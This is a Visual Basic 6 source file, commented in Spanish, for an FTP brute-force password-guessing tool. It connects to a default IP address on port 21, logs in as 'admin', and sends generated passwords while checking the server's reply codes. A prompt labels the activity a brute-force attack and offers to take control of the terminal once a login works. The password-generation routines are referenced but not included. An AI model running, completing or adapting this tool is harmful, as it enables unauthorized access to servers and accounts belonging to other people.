Public CT As Integer
Public FAILED As String
Public ACUSER As String
Public USER As String
Public CONTROL As Integer
Private Sub Form_Load()
CONTROL = vbNo
Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
USER = InputBox("USUARIO", "INSERTE", "admin")
Call BORRAR_VECTOR
Telnet.Connect
End Sub
Private Sub Form_Resize()
If Me.Height > 701 Then
inx.Width = Me.Width
inx.Height = Me.Height - 700
outx.Width = Me.Width
outx.Top = inx.Height
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Telnet.Close
End
End Sub
Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Telnet.GetData strData
inx.Text = inx.Text & strData
If CONTROL = vbNo Then
Call ANALIZAR(Mid(strData, 1, 3))
End If
If CT Mod 2 Then
Call NUEVAPASS
outx.Text = "pass " & PASS
Call outx_KeyPress(vbKeyReturn)
Else
outx.Text = "user " & USER
Call outx_KeyPress(vbKeyReturn)
End If
End Sub
Private Sub outx_KeyPress(KeyAscii As Integer)
If KeyAscii = vbKeyReturn Then
Telnet.SendData outx.Text & vbCrLf
outx.Text = ""
outx.SetFocus
End If
End Sub
Private Sub ANALIZAR(CODE As String)
CT = CT + 1
If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
End If
End Sub